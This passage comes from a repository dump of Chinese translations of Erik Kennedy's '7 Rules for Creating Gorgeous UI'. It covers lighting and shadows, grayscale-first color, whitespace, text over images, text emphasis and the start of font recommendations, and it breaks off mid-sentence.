设计的一个内容：**光线来自天空。**光不断的从天空而来，因此如果光从下而上则确实看起来非常怪异。\n\n![](https://cdn-images-1.medium.com/max/400/1*eFJGYuA67SIzu9pB1MZFKQ.jpeg)\n\n妈呀~\n\n当光线来自于天空的时候，它照亮了物体的顶部并在其下面投下阴影。物体的顶部较为明亮，底部较暗。\n\n你绝不会**认为**人们的下眼皮是需要画出来眼影的，但是当一个化了下眼影的女孩突然出现在他们门前的时候确实会亮瞎那些呆子的眼睛。\n\n那么，用户界面也正是如此。正如我们在所有的面部特征的下侧都有少量的阴影，几乎每个 UI 元素的底部都有可以被发现的阴影。**我们的屏幕是平的，但是我们投入了大量的艺术创作来制作出 3D 的效果。**\n\n![](https://cdn-images-1.medium.com/max/800/1*DTB4xeMLpg0DW6NLOYBehw.png)\n\n这张图片中我最喜欢的就是右下角的手指。\n\n拿按钮举例。即使有了这个相对“平面”的按钮，仍然有一些与光线相关的细节：\n\n1. 按钮没有按下的时候具有**黑色的底部边缘**，太阳并没有照耀到的位置。\n2. 按钮没有按下的时候**顶部会亮一些**对比底部。这是因为它模仿了一个稍微弯曲的表面。就像当你需要倾斜一面在你面前的镜子来观察太阳一样，在上面的镜面会向你的身上反射多一丁丁丁丁点的阳光。\n3. 按钮没有按下的时候投射了**微妙的阴影** — 如果放大可能看的更清楚一些。\n4. 按下的按钮虽然底部比顶部暗一些，但是**整体颜色更深**，因为他们虽然位于屏幕的平面上，太阳并不容易照射到它。有人可能会说我们在现实生活中看到的所有按钮都会变暗，因为我们手挡住了光线。\n\n这只是一个按钮，然而这里有四个小小的灯光效果。这些灯光效果就是我们的经验。现在我们应该将它用于**所有的东西**。\n\n![](https://cdn-images-1.medium.com/max/800/1*4FCAIgmJa8BuildjlnsDeA.png)\n\n虽然 iOS 6 有点过时了，但是它在光照行为方面确实是很好的研究案例。\n\n这里有一对 iOS 6 设置 — “请勿打扰”和“通知”。很简单，对吧？但是看看他们有多少灯光效果。\n\n*   插图的控制面板边缘投下了一个小阴影。\n*   “ON” 滑块轨道也跟着设置了一点。\n*   “ON” 滑块轨道为凹型，底部反射了更多的光线。\n*   图标**边缘**被设置了一点点。看到他们顶部的明亮边框了吗？这代表一个垂直于光源的表面。因为垂直，所以这个表面接受了大量的光线，将大量的光线反射到眼睛中。\n*   分隔的凹口在远离太阳的部分被遮盖，反之亦然。\n\n![](https://cdn-images-1.medium.com/max/800/1*gWuSN3QN9dSeVwSP2LZVow.png)\n\n**分割线的凹槽的特写镜头。来自我的一个旧 [Hubster](http://hubster.tv/) 概念。**\n\n通常在**嵌入**的界面元素：\n\n*   编辑栏\n*   按下的按钮\n*   滑块\n*   单选按钮（未选中）\n*   复选框\n\n通常在**突出**的元素：\n\n*   按钮（未按下）\n*   滑块按钮\n*   下拉控件\n*   卡块\n*   所选单选按钮的 **button** 部分\n*   弹出窗口\n\n现在你知道了，你会注意到他们到处都是。不客气，初学者。\n\n#### 等等，扁平化设计怎么样呢，Erik?\n\niOS 7 让“半扁平化设计”在科技界引起了轰动。这就是说他的**半扁平化。** 没有模拟凸起或者凹痕 — 只是纯色的线条和形状。\n\n![](https://cdn-images-1.medium.com/max/800/1*YAB8zDDxCmvegvxCu7d8kw.png)\n\n我虽然和大家一样喜欢**干净和简单**。但是我认为这不是一个长期的趋势。如何将我们的界面用 3D 来在细微处进行模拟的更加自然是不能完全放弃的。\n\n**更多的可能是，我们将会在不久的将来看到半扁平化的 UI 设计**（而且我建议你精通这种设计）。我们将会继续称之为“扁平化设计”。依旧干净，依旧简单简单，但是会有**一些**阴影和点击/滑动的提示。\n\n![](https://cdn-images-1.medium.com/max/800/1*gWvCSNxqNjyYaq4IF31ZhQ.png)\n\nOS X Yosemite — 扁平化而不平面化。\n\n在写这篇文章时，Google 正在他们的产品中推出他们“Material 设计”语言。这是一种统一的视觉语言，它的核心理念就是模仿现实的世界。\n\nMaterial 设计指南中的例证展示了如何使用不同的阴影来表达不同的深度。\n\n![](https://cdn-images-1.medium.com/max/800/1*TtuBo6cCUTyP8XIYGSrIyg.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*sHg3HCEciqqAk1xE8qMrdg.png)\n\n我感觉这种东西是一种长期的趋势。\n\n它使用了现实世界的微妙的线索来传达信息。**关键词，微妙。**\n\n我们并不能说它没有模拟现实世界，但是它又不像是 2006 年的网络。没有纹理，没有渐变，没有发光。\n\n我认为扁平化是未来的一种方式，平面化？切，只是过去而已。\n\n![](https://cdn-images-1.medium.com/max/800/1*Zqcjyz-oIqZZojyYyWVl2Q.png)\n\n这样的平面化设计现在看起来很火！\n\n### 规则 2：黑色和白色优先\n\n**在添加颜色之前进行灰度设计可以简化视觉设计中最复杂部分 — 并且可以使强迫使您专注于间距和布局元素。**\n\nUX 设计师现在真的是“移动优先”来进行设计。这意味着您在想象无法想象的像素的 Retina 显示器前**优先**考虑手机上的页面和互动是如何工作的。\n\n**其实这种约束很好。它可以简化思想。**您从较难的问题开始（在小屏幕上可用的应用程序），然后通过同样的解决方案去解决简单的问题（大屏幕上可以使用的应用程序）。\n\n那么这里就是一种类似的约束：**优先设计黑色和白色**。首先是在没有色彩的帮助下让应用变得美观并且可用。**最后添加色彩，仅此而已。**\n\n\n![](https://cdn-images-1.medium.com/max/800/1*qheNNhQhjjwxMeJ5XGocsA.png)\n\n[Haraldur Thorleifsson](http://ueno.co/) 的灰度线框看起来就如同极少的设计师完成的网站设计一样好。\n\n这是保持应用程序“干净”和“简单”最可靠也是最简单的方法。**在过多的地方使用过多的颜色很容易搞砸设计的简单和干净**。黑和白优先这个原则强迫你首先关注诸如间距，尺寸和布局等事情。这些都是干净简单设计的首要关注点。\n\n![](https://cdn-images-1.medium.com/max/600/1*YxV7C-nHHir-PSbJ4-jqhQ.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*RckBhZxKQfveClU7rwGuyg.jpeg)\n\n![](https://cdn-images-1.medium.com/max/400/1*EnbssykGOuXeXMV3AQFyjw.png)\n\n优雅的灰度\n\n有些情况下黑白优先的原则并不是那么有用。那些需要特殊感觉的设计 — “动感”、“华丽”或“卡通”等等。需要一个能够非常好使用多种颜色搭配的设计师。但是**大多数的应用程序没有一个特别强烈的需求属性，除了“干净”和“简洁”**。那些需要特殊设计的很难设计。\n\n![](https://cdn-images-1.medium.com/max/600/1*OraO1vxtkxYteZyE4CXrOQ.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*JsbQFaIY6g697PMeEuMwvA.png)\n\n[Julien Renvoye](http://www.julienrenvoye.fr/) （左）和 [Cosmin Capitanu](http://radium.ro/) （右）的华丽和充满活力的设计。比看起来更难。\n\n对于其他的设计来讲，都是黑和白优先原则。\n\n#### 步骤 2：怎么去添加颜色\n\n只加一种颜色是能添加的最简单的颜色。\n\n![](https://cdn-images-1.medium.com/max/800/1*YxV7C-nHHir-PSbJ4-jqhQ.png)\n\n添加一种颜色在灰度设计的网站可以很简单而又有效的吸引眼球。\n\n![](https://cdn-images-1.medium.com/max/800/1*pds21170RP-6ZIkuSxgI2Q.png)\n\n您同样可以采取更深的一步。灰度 + **两种**颜色，或者灰度 + 单一色调的多种颜色。\n\n> **让我们用下颜色代码 — 等等，什么是色调？**\n\n> 网页上大体将颜色作为 RGB 十六进制代码进行讨论。其实忽略他们才是最有用的。RGB 并不是适合着色设计的一个有用的框架。[HSB](https://learnui.design/blog/the-hsb-color-system-practicioners-primer.html)（与HSV同义，与HSL类似）更有用。\n\n> HSB 比 RGB 更好，因为它符合我们对颜色自然的看法，并且您可以预测 HSB 值的变化所给您看到颜色来带的影响。\n\n> 如果这对你来说是个新的东西，这里 [HSB 颜色的优质入门文章](https://learnui.design/blog/the-hsb-color-system-practicioners-primer.html)。\n\n![](https://cdn-images-1.medium.com/max/800/1*tZRxO2DReDduBqOwgqd_yw.jpeg)\n\n单色调金色主题来自 [Smashing Magazine](http://www.smashingmagazine.com/2010/02/08/color-theory-for-designer-part-3-creating-your-own-color-palettes/)。\n\n![](https://cdn-images-1.medium.com/max/800/1*-rbrbh20EHL_Ue_IDxl_0A.jpeg)\n\n单色调蓝色主题来自 [Smashing Magazine](http://www.smashingmagazine.com/2010/02/08/color-theory-for-designer-part-3-creating-your-own-color-palettes/)。\n\n通过修改单色调的**饱和度**以及**亮度**，您可以生成多种颜色 — 深色、亮色、背景、重点以及各种吸引注意的效果 — 而且不会让人眼花缭乱。\n\n使用来自一种或者两种基本色调的多种颜色是为了**在保持设计不凌乱的同时又可以强调和中和元素**的最可靠的方法。\n\n![](https://cdn-images-1.medium.com/max/800/1*_fM8VVYx7hMgdJ_Wy24AXg.png)\n\n倒数计时器来自 [Kerem Suer](http://kerem.co/)。\n\n#### 关于颜色的其他一些说明\n\n色彩是视觉设计中最复杂的领域。虽然很多关于色彩的东西在你完成设计时并不是很实用，但是我却看到了一些非常有用的东西。\n\n一个小工具箱：\n\n*   [**学习 UI 设计**](http://learnui.design/?utm_source=medium&utm_medium=content&utm_campaign=7-rules-part-1)。无耻的推广：这是我创建的一门课程，它包含3个小时的关于颜色设计的视频（以及在 UI 设计中的其他主题总共13个多小时）。请看 [**learnui.design**](http://learnui.design/?utm_source=medium&utm_medium=content&utm_campaign=7-rules-part-1)。\n*   [**设计色彩学：（实用）框架**](https://medium.com/@erikdkennedy/color-in-ui-design-a-practical-framework-e18cacd97f9e)。如果你喜欢这个部分，但是希望听到更多的**颜色**（而不仅仅是黑色和白色），这是属于你的文章。猜猜是谁写的！\n*   [**永远不要用黑色**](http://ianstormtaylor.com/design-tip-never-use-black/) （Ian Storm Taylor）。这篇文章谈论了完全平面化的灰色几乎从来没有出现在现实世界中。同时它也提到了如何饱和灰色阴影 — 尤其是深色阴影 — 为设计增添了视觉丰富性。另外，饱和的灰色其实更贴近现实世界，这是它最美的地方。\n*   [**Adobe Color CC**](https://color.adobe.com)。一个很棒的工具，用于查找、修改和创建配色方案。\n*   [**Dribbble 通过颜色进行搜索**](https://dribbble.com/colors/BADA55)**。** 另一种很棒的方式来查找特定颜色的作品。如果您已经确定了一种颜色，那就看看世界上最好的设计师是怎么与这种颜色搭配。\n\n### 规则 3：多用空白\n\n**为了让 UI 看起来设计感十足，要添加更多的呼吸空间。**\n\n在规则 2中，我说使用白或者黑原则迫使设计者在考虑颜色之前考虑**间距**和**布局**，为什么这是件好事，那么，现在就是讨论如何进行间距和布局的构造。 \n\n如果您从头开始编写 HTML 代码，你可能很熟悉HTML在页面上默认的布局方式。\n\n![](https://cdn-images-1.medium.com/max/800/1*fS6ixQIk88MJlEmph7PeJA.png)\n\n基本上，所有的东西都拥挤在屏幕的顶部。字体很小，线条之间是绝对没有空间的。段落之间确实有一**丢丢**空白，少得可怜。段落只是延伸到页面的末尾，无论是 100 px 还是 10000 px。\n\n从审美的角度上来讲，这太**糟糕**了。**如果你想让你的 UI 看起来很有设计感，您需要在这之间添加呼吸的空间。**\n\n有时候就是一个荒谬的数值。\n\n> **HTML 和 CSS 的留白**\n\n> 如果你像我一样经常使用 CSS 进行格式设置，那么**默认情况下不会有留白的**，现在是时候解决这些不良的习惯了。开始考虑将空格作为默认空间 — 所有的内容都是以空格开始，直到您通过添加页面元素将其删除。\n\n> 听起来像是禅学？我认为这是人们仍然素描出这些东西的重要原因。\n\n> **从空白页开始意味着以空白**开头。您从一开始就会想到利润率和间距。您绘制的所有内容都是有意识的去删除空白。\n\n> **从一堆无格式的 HTML 开始，意味着就是以内容**开头，间距则是后来才考虑的事情。这必须明确说明。\n\n以下是 [Piotr Kwiatkowski](http://www.piotrkwiatkowski.co.uk/) 的音乐播放器概念图。\n\n![](https://cdn-images-1.medium.com/max/1000/1*qFwXZ_05pRv2OtiaJHIp6Q.jpeg)\n\n要特别注意左侧的菜单。\n\n![](https://cdn-images-1.medium.com/max/400/1*jSC64LYfVYlMHaI_B7xfKQ.png)\n\n左侧菜单\n\n菜单项之间的垂直空间完全是文本本身高度的**两倍**。您注意到这是 12px 的字体，并且在上面和下面填充同样多的间距。\n\n或者看看标题列表。**“PLAYLISTS” 和它自己的下划线之间有 15px 的间距。这比字体本身的**[高度](http://en.wikipedia.org/wiki/Cap_height)还要高。更别提每个列表之间间隔了25个像素了。\n\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/400/1*43qoikq5esyOer2PpETX_Q.png)\n\n顶部导航栏中有更多的空间。文字 “Search all music” 是导航栏高度的 20%。图标也是相应的比例。\n\n左侧边栏显示了充裕的文本行间的间距，等等。\n\nPiotr 认真考虑在这里增加更多的空白，并且效果很好。尽管这只是他为了更有乐趣（据我所知），就美学而言，它非常漂亮，足以与最好的音乐用户界面进行竞争。\n\n* * *\n\n适当的留白可以使一些复杂的界面看起来很简单 — 就像是论坛。\n\n![](https://cdn-images-1.medium.com/max/800/1*g6m0YZVyMEVMuLXzO512gg.png)\n\n论坛的设计来自于 [Matt Sisto](http://sis.to/)。\n\n或者维基百科。\n\n![](https://cdn-images-1.medium.com/max/800/1*SVtl39B-dSsHo3HFI0h4FA.png)\n\n维基百科设计理念来自 [Aurélien Salomon](https://www.behance.net/aureliensalomon)。\n\n你可以找到更多的样例，比如说，维基百科的重新设计舍弃了一些关键的网站的功能。但是你不得不说这是一个很好的学习方式！\n\n在你的线条之间预留空间。\n\n在你的元素之间预留空间。\n\n在你的元素组之间预留空白。\n\n**分析可行性**。\n\n* * *\n\n**好的，第一部分已经完结，感谢你坚持看完！**\n\n在 [Part 2](https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-2-430de537ba96)，我会继续讨论剩下的 4 条规则:\n\n> **4. 学习在图片上叠加文字的方法。**\n\n> **5. 使文本弹出或者取消弹出。**\n\n> **6. 只使用优秀字体。**\n\n> **7. 像艺术家一样复制。**\n\n如果你学到了有用的东西，[读 Part 2](https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-2-430de537ba96)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/7-rules-for-creating-gorgeous-ui-part-2.md",
    "content": "> * 原文地址：[7 Rules for Creating Gorgeous UI (Part 2)](https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-2-430de537ba96)\n> * 原文作者：[Erik D. Kennedy](https://medium.com/@erikdkennedy?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/7-rules-for-creating-gorgeous-ui-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/7-rules-for-creating-gorgeous-ui-part-2.md)\n> * 译者：[xujunjiejack](https://github.com/xujunjiejack)\n> * 校对者：[maoqyhz](https://github.com/maoqyhz)\n\n# 创造华丽 UI 的 7 个规则（Part 2）\n\n## 一部出自于技术宅的通往视觉审美的指南\n\n这是这个指南的第二部分，在此之前，你需要阅读[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/7-rules-for-creating-gorgeous-ui-part-1.md)。\n\n我们正在讨论可以让你不需要去上美术学院就可以设计**简洁 UI** 的规则。\n\n下面是这些规则：\n\n1. 光线来自天空。（查看[第 1 部分](https://github.com/xitu/gold-miner/blob/master/TODO1/7-rules-for-creating-gorgeous-ui-part-1.md)\n2. 首选白色和黑色。（查看[第 1 部分](https://github.com/xitu/gold-miner/blob/master/TODO1/7-rules-for-creating-gorgeous-ui-part-1.md)\n3. 添加更多的空白。（查看[第 1 部分](https://github.com/xitu/gold-miner/blob/master/TODO1/7-rules-for-creating-gorgeous-ui-part-1.md)\n4. **学习如何在图片上添加文字**。\n5. **令文本层次分明**。\n6. **仅使用好看的字体**。 \n7. **像艺术家一样借鉴**。\n\n* * *\n\n### 规则 4：学习如何在图片上添加文字\n\n现在只有几种能够可靠得将文字精美得添加在图片上的办法。以下描述了 5 种常规和 1 种额外的方法。\n\n如果你想成为一个很好的 UI 设计师，你需要学习如何用吸引人的办法把文字覆盖在图片上。每个优秀的UI设计师都会在这个方面处理得很好，但平庸的设计师往往处理得很糟糕，甚至不会处理。无论你是哪一种平庸的设计师，在读了这个章节后，你会有巨大的提升。\n\n#### 方法 0：直接在图片上添加文字\n我一直在犹豫是否要在这篇文章里包含这个方法，但是**严格来说**，直接在图片上添加文字并且让设计好看是**可行**的。\n\n![](https://cdn-images-1.medium.com/max/800/1*cZFET5UcuL6rjVWkwqoK_A.png)\n\n[Otter Surfboards](http://www.ottersurfboards.co.uk/) 看着像精致的 Instagram 配图，但是就是有点难读图片上面的字。\n\n以下是这个方法的缺陷和注意事项：\n\n1. **图片必须是黑色的**，并且没有很多高对比度。\n2. **字体必须是白的** —— 我敢打赌你找不到一个又简单又干净的反例。**真的**，只有白色这一个。\n3. 你需要**在每种显示尺寸下测试**文本是否清晰。\n\n你的设计都符合这些条件了？棒。只要你之后别再改字或着这个图片，你应该就可以用你的设计了。\n\n我不认为我在任何一个正规专业的项目里直接把文字覆盖到图片上。这个方法是一个需要很高技巧的方法，就是说这种方法虽然可能可以产生**非常酷炫**的效果，但使用的时候需要小心。\n\n![](https://cdn-images-1.medium.com/max/800/1*aGKzy_8di06W8u1kmKcS4Q.png)\n\n这是 Aquatilis 的网站，非常值得一看。\n\n#### 方法 1：文本覆盖整个图片\n\n在整个图片上覆盖一个图层可能是最简单的办法了。如果原始的图片不够黑，那你就可以在整个图片上加一个半透光的黑色图层。\n\n这是一个非常流行的带有黑色图层的网站主页。\n\n![](https://cdn-images-1.medium.com/max/800/1*-9qT-d3DcjmXV4vZkyBE8g.png)\n\n这个 Upstart 的网站有 35% 透光度的黑色滤镜。\n\n如果你打开 Firebug(译者注：Firefox 的 debug 工具)，你会发现原图因为亮度和对比度都比较高，所以字体看不清楚。但是当有了一个黑色的滤镜后，这些都不是问题！\n\n这个方法用在缩略图和小的图片上同样好用。\n\n![](https://cdn-images-1.medium.com/max/800/1*xvsvxW00oE9NuhbRUAUK2Q.png)\n\n[Charity:water](http://www.charitywater.org/) 网站的缩略图。\n\n黑色的图层尽管是最简单，并且用处最广泛的，你当然也可以用别的颜色的图层。\n\n![](https://cdn-images-1.medium.com/max/800/1*0LUET8aQnpFvVB4yNhQj1Q.png)\n\n#### 方法 2：把文本放框里\n\n这实在是再简单不过了，但同时又很可靠。试试把一个微微透光的黑色长方形框覆盖在一些白色的文字上。如果这个图层足够透光，你依旧可以保证即使文字底下是任何图片，文字依旧清晰可见。\n\n![](https://cdn-images-1.medium.com/max/800/1*J_7pHmSn6NvTuC3xFNIlqA.png)\n\nModern Honolulu 的 iPhone 设计稿 [Miguel Oliva Márquez](http://miguelolivamarquez.com/)。\n\n你也可以往文本框里塞不同的颜色，但是当然要保持谨慎。\n\n![](https://cdn-images-1.medium.com/max/800/1*6218qUE-AoaikksiQziL7Q.png)\n\n现在这些是粉色的例子。作者是 [Mark Conlan](http://markconlan.com/)。\n\n#### 方法 3：把图片模糊化\n\n这个把底部图片模糊化来让人看得清楚上面的文本是出人意料得好用\n\n![](https://cdn-images-1.medium.com/max/800/1*mC1oHWTKlRqOZ-ra3sLh-Q.png)\n\nSnapguide 里用了大量的背景模糊化。注意看，这些模糊的区域同时也被加深过。\n\niOS 7 的设计真的让背景模糊化变得流行起来，虽然 Windows Vista 也用模糊化达到了非常好的效果。\n\n![](https://cdn-images-1.medium.com/max/600/1*FkH2ZkCQ0wmT5FxmaAMzaA.jpeg)\n\n![](https://cdn-images-1.medium.com/max/600/1*FyZBDM_gMoJ8bCK3zVr_Fg.png)\n\n你也可以用照片里虚化的背景作为模糊化的区域。但是请注意 —— 这个办法并不好使。如果你的图片做了一点改变，你就得确保这些文字一直都是在模糊化的区域里。\n\n![](https://cdn-images-1.medium.com/max/800/1*mZ22i_UB57qdFBZwOqUFFA.png)\n\n[Teehan + Lax](http://www.teehanlax.com/)\n\n我的点是，**试着**读清楚下面的小标题。\n\n![](https://cdn-images-1.medium.com/max/1000/1*pMpduiy5C4LGu7abzj_a6g.png)\n\n这[网站](https://www.google.com/wallet/send-money/)到底是怎么被通过的？\n\n####　方法 4：底部逐渐变深\n\n底部逐渐变深这个方法指的是你把图片里**靠近底部的地方逐渐变黑，然后接着把白字填在上面**。这是个非常巧妙的办法。我在看到 Medium 之前都没想到过。\n\n![](https://cdn-images-1.medium.com/max/1000/1*_uPTqFCygpKPJoC5q0y1mg.png)\n\n对于一个普通人，这些 Medium 上的收集的设计仅仅是图片上覆盖了些白色的文字-但是这种想法我说是很**错误**滴！从中部（0% 透光度的黑色）到底部（20% 透光度）有个小小的渐变。\n\n这个渐变很难看出来，但是一定在那，而且绝对提高了字体的辨识度。\n\n> 同时你可以注意一下这些 Medium 的收集缩略图用了一点点的文字阴影来更加提高识别度。这些人真的非常棒！\n\n> 这个技巧的效果是 Medium 即使把任何文字放在任何图上，也可以得到能读的结果。\n\n哦，还有一件事 — 为什么图片是往下变深？原因见我的[第一条规则](https://github.com/xitu/gold-miner/blob/master/TODO1/7-rules-for-creating-gorgeous-ui-part-1.md)-灯光一直是从上面照下来的。为了让眼睛看起来更舒服，图片必须要是在底下慢慢变深，就像我们看见的所有东西一样。\n\n更高级的做法：如果把模糊化和底部渐变混起来...这就是底部模糊化了！\n\n![](https://cdn-images-1.medium.com/max/800/1*vjezz0sSxlioqbEHbov_uw.png)\n\n用在 SnapGuide 上的“底部模糊”。妈妈再也不用担心我在上面使用图层了！\n\n#### 额外的办法：纱幕化\n\n这个 [Elastica blog](http://www.elastica.net/category/blog/) 是怎么可以在任何的照片下有一个可以读得出的标题？而且这些图片是：\n\n*   并不是特别黑的\n*   有一点高对比度\n\n我们很难解释为什么这些文字可以看得这么清晰。你看一下下面这些：\n\n![](https://cdn-images-1.medium.com/max/600/1*UFnAScSM_SyiqI7g8e8Ajw.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*i1T-LV5JQMk95st51J8zDA.png)\n\n答案是：纱幕化。\n\n纱幕是一种让光变得更柔和的摄影装备。现在这也是种视觉设计的技术。这个技术通过让图片变得更柔和来让覆盖在上面的文字更加可以辨认。\n\n如果我们用浏览器放大 Elastica blog 的网页，我们可以很清楚得看到发生了什么。\n\n![](https://cdn-images-1.medium.com/max/800/1*BwU3s9dGxeUSpA-cIFuaHg.png)\n\n在这句标题“145,000 Salesforce Users Come out to Celebrate…”有一个让透光度渐变的框。你应该可以很简单的注意到高对比度的照片下这个深蓝色的背景。\n\n这可能是最**微妙**的把文字可靠得覆盖在图片上的办法，并且我在别的地方并没法看到（但是这个方法**真的是**很隐蔽）。但是把这个标记下来，你可能不知道你什么时候会用到。\n\n* * *\n\n### 规则 5：令文本层次分明\n\n使得文字变好看并且符合背景的好办法经常是把文字往相反的方向 —— 比如说，变大但是更轻。\n\n在我看来，创建漂亮的 UI 的最难的部分是调整文字 —— 并且这并不是因为缺少选项。如果你读过书，你大概用过所有的能让别人注意过文字的办法，或者让人不想看这些文字的办法：\n\n*   **尺寸**（更大 或者更小）\n*   **颜色**（更多或者更少对比度；明亮的颜色会吸引眼球）\n*   **字重**（加深或者变轻）\n*   **大小写**（小写，大写，或者用标题的格式）（译者注：中文并没办法做到）\n*   **斜体**\n*   **字符间距**（或者 —— 用 更 高 大 上 的 术 语 —— **字距!**)\n*   **边距**（讲道理这并不是一个字体**本身的**性质，但是可以用来吸引别人的注意，所以它可以出现在表上）\n\n![](https://cdn-images-1.medium.com/max/800/1*D7QBHz4TqdxzXphdioU_gg.png)\n\n颜色，大小写，和字据用得不错。这是[@workjon](http://twitter.com/workjon)的孩子做的。当然，也关注下[@workjon](http://twitter.com/workjon) —— 他的文字设计很棒！\n\n这里有几个别的可以吸引别人注意的选项，但是并不常用同时也不是很推荐。\n\n*   **下划线**下划线现在基本意味着是超链接，并且要我说，下划线并不值得我们去给它负于任何意义。\n*   **字体的背景颜色**并不常见，但是这个 37signals 网站把它用做超链接。\n*   **删除线**你个 90 年代的 CSS 魔术师给我滚开，没错，就是指你！\n\n在我个人的经验里，当我发现一个我没办法找到合适的文本样式的时候，并不是因为我忘记了如何用大写或者更深的颜色 — **一般是因为最好的解决办法经常需要把一些互相冲突的性质组合在一起**。\n\n\n#### Up-pop 和 Down-pop\n\n你可以把所有的调整文字的方法分成以下两个组：\n\n*   **那些提高可见度的样式**大，粗，大写等等。\n*   **那些降低可见度的样式**小，少对比度，小边距等等。 \n\n我们会分别把这些叫做 \"up-pop\" 和 \"down-pop\" 的样式，以纪念 [favorite adjective](http://theoatmeal.com/comics/design_hell)。\n\n![](https://cdn-images-1.medium.com/max/800/1*cT-Y5jcbdrUdO2JiBf8fZg.png)\n\n从 [hugeinc.com](http://hugeinc.com/case-study/material-design) 来的案例分析。\n\n“材料设计”（Material Design）里有很多 up-pop 的内容。它是**大**的；它是**高对比度**的；它是**非常****粗**的。\n\n![](https://cdn-images-1.medium.com/max/800/1*yVbtuu-qvhFRXNwWKBvL-A.png)\n\n这些底下的东西，但是，是 \"down-pop\" 的。他们是**小**的，**低对比度**，并且很**细**的。\n\n现在是非常重要的内容。\n\n> **这个页的标题是仅有的用上了所有 up-pop 方法的文本**。\n> 对于所有别的东西，你需要 **up-pop 并且 down-pop**。\n \n如果需要强调一个网站的内容元素，需要同时用上 up-pop 和 down-pop 的办法。这么做可以允许不同的内容元素看上去有不同的样子，防止你的东西被淹没。\n\n![](https://cdn-images-1.medium.com/max/800/1*8YceqPbM08OB2kjJPEWzow.png)\n\n这是一个视觉要素的平衡。\n\n这个完美设计的 Blu Homes 网站有很多大标题，但是**需要强调的字都是小写** —— 太多的强调会看上去用力过猛。\n\n![](https://cdn-images-1.medium.com/max/800/1*C0snGn4IAUg_KEjwwPQN3w.png)\n\nBlue Homes 网站用了字的尺寸，颜色赫尔排列来吸引你眼球的数字 — 但是注意，他们并没选择用深灰色，**反而同时用了很轻的字重，低对比度的颜色**。\n\n这些**在文字底下小小的标签**，然而，是灰色的，并且是即**大写**又**非常粗重**的。\n\n这些都和平衡有关。\n\n![](https://cdn-images-1.medium.com/max/800/1*phgw7PCxtkr78p0Td9yHcA.png)\n\ncontentsmagazine.com\n\nContents Magazine 是一个 up-pop 和 down-pop 很不错的案例分析。\n\n*   这些**文章标题**基本上是**仅有的非斜体的网页要素**。在这种情况下，**缺少**斜体更加得吸引眼球（尤其是当和加粗的字重组合的时候）。\n*   在 by 的这一行里的**作者名字**是被加粗的 — 让它和平常字重的 \"by\" 分别了开来。\n*   这个小的，低对比度“**已经跳出来的**”字体给其他的要素让出了位置 —— 但是因为大写，很宽的字间距，和很大的边距，你可以在想看这些字的时候清楚得看到这些字。\n\n#### 选取和悬浮的样式\n\n调整被选择的元素和漂浮的效果是同一种文字游戏的另一个可能 —— 但是会更难。\n\n变化字体的尺寸，大小写，或者字重经常会**改变文字占据多少空间**。这种变化可以限制住悬浮效果。\n\n所以你还剩下哪些选项呢？\n\n*   字的颜色\n*   背景颜色\n*   阴影\n*   下划线\n*   轻微的动画 — 提高，降低，等等。\n\n一个很可靠的选择是：尝试把白色的元素放上颜色，或者把有颜色的元素变白，但同时加深后面的背景\n\n![](https://cdn-images-1.medium.com/max/800/1*_9M8qJFXvB7cEabkV-8qrw.png)\n\n这个选择的按钮从有颜色变成白色，但是依旧相对于背景保持高对比度。\n\n我会送给你这个段话：**调整文本的样式是很难的**。\n\n但是每次我在想“这个文本大概就是**不可能**看上去好看的”，我都是错的。我只需要逐渐变得更擅长。同时，去变得更擅长，我只要不断进行尝试就行了。\n\n所以我提供给你个慰藉：如果这个文字看上去不好看，不要担心 —— **只要**你能变得更擅长。但是，嘿，让我们不断尝试，使自己**变得很强**!\n\n**嘿，顺便说一句：如果你想学更多和调整文字样式有关的东西，看看这个** [Learn UI Design](http://learnui.design/?utm_source=medium&utm_medium=content&utm_campaign=7-rules-part-2)**，我在这里讲了更多细节**。\n\n* * *\n\n### 规则 6：仅使用好看的字体\n\n**有些字体很好看。就用他们。**\n\n**注意：在这个部分里，没有什么需要学习的策略或别的什么。我只会列出一些好看的字体然后供你去下载，接着运用。**\n\n**注意 #2：由于前几年字体的选项得到了扩展，**并且**有些字体都快用烂了，今天我会特别推荐一些特别的字体组。如果你想看更多的字体，可以阅读** [Learn UI Design](http://learnui.design/?utm_source=medium&utm_medium=content&utm_campaign=7-rules-part-2)，这里面有一套可以交互的完整版的字体。（译者注：这篇文章只推荐了英文字体，不一定适用于汉字）\n\n**特殊格调**的网站能用非常**特殊的字体**但是对于大部分的 UI 设计，你只希望一些**简单和干净**的字体。所以兄弟，没错，别用 [Wisdom Script](http://www.losttype.com/font/?name=wisdom_script)。\n\n同时，我也**只推荐免费的字体**。为啥？这份学习指南是给**学习者的**。外面有超多免费的字体，所以就让我们用吧。\n\n我推荐你现在就下载，然后当你开始为项目设计的时候就用。\n\n![](https://cdn-images-1.medium.com/max/800/1*5Uv1DnYGFp5vG4RvW4QdXA.png)\n\n这个 Font Book 